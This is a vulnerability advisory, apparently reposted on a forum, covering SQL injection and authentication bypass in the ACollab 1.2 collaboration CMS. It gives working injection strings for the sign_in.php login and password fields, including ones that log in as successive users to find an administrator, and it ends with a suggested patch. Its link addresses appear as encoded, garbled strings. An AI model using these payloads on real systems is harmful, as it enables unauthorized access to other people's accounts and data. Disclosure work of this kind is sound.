##########################
25bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6f1u0#2k6#2u0W2M7r3!0J5N6q4)9J5k6h3W2J5i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1K6i4K6t1$3L8X3u0K6M7q4)9K6b7W2)9J5y4X3&6T1M7%4m8Q4x3@1t1`.
#
# AmnPardaz Security Research Team
#
# Title: ACollab Multiple Vulnerabilities
# Vendor:
fa1K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3q4@1N6i4c8G2M7W2)9J5k6h3y4S2i4K6u0r3j5h3y4G2L8r3I4S2j5W2)9J5y4X3&6T1M7%4m8Q4x3@1u0Q4x3U0k6F1j5Y4y4H3i4K6y4n7
# Vulnerable Version: 1.2 (Latest version till now)
# Exploitation: Remote with browser
# Fix: N/A
###################################################################################
####################
- Description:
####################
ACollab as described by its vendor is an accessible, open source,
multi-group, Web-based collaborative
work environment. ACollab is available as a standalone collaborative
work environment that will run on
its own. ACollab is ideal for groups working at a distance developing
documentation, collaborating on
research, or writing joint papers.
####################
- Vulnerability:
####################
+--> SQL Injection
All of the parameters are sanitized correctly before being used in
SQL queries else of
the POST parameters 'login' and 'password' in the "sign_in.php" page.
These parameters
can be used for injecting arbitrary SQL queries; the 'login'
parameter is single quoted
and the 'password' parameter is single parenthesized, single quoted.
+--> Authentication Bypass
The ACollab CMS uses two mechanism for authentication. One for master
admin user which is
based on a hard coded username/password initialized in the
installation process. And a DB-based
authentication for all other users, including the group
administrators which can add/remove/edit
all posts and news and ... from forums and first screen of the
website. The second authentication
mechanism can be bypassed.
####################
- Exploits/PoCs:
####################
+--> Exploiting The (MySQL) SQL Injection Vulnerability:
Go to the sign in page at "victim.net/ACollab/sign_in.php" and use
the following vectors for injecting
your desired SQL query, namely $Q:
- In the Username field (login POST parameter): ' or $Q or ''='
- In the Password field (password POST parameter): ') or $Q or (''='
+--> Exploiting The Authentication Bypass Vulnerability:
You can login as anyone of the registered users of ACollab CMS by
providing following vector
as username and nothing as password:
'or''='' limit 1 offset 0 -- '
Above vector will log you as the first user according to its member
id order. You can login as other
users, searching for a group administrator account, by following vectors:
'or''='' limit 1 offset 0 -- '
'or''='' limit 1 offset 1 -- '
'or''='' limit 1 offset 2 -- '
....
####################
- Solution:
####################
Add the following command
$_POST['login'] = addslashes ($_POST['login']);
$_POST['password'] = addslashes ($_POST['password']);
at the line 46 of 'sign_in.php' file.
####################
- Original Advisory:
####################
fd7K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3u0#2k6%4u0W2M7r3!0J5N6q4)9J5k6h3W2J5i4K6u0r3K9h3&6V1k6i4S2Q4y4h3j5%4x3W2)9J5k6h3S2@1L8b7`.`.
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
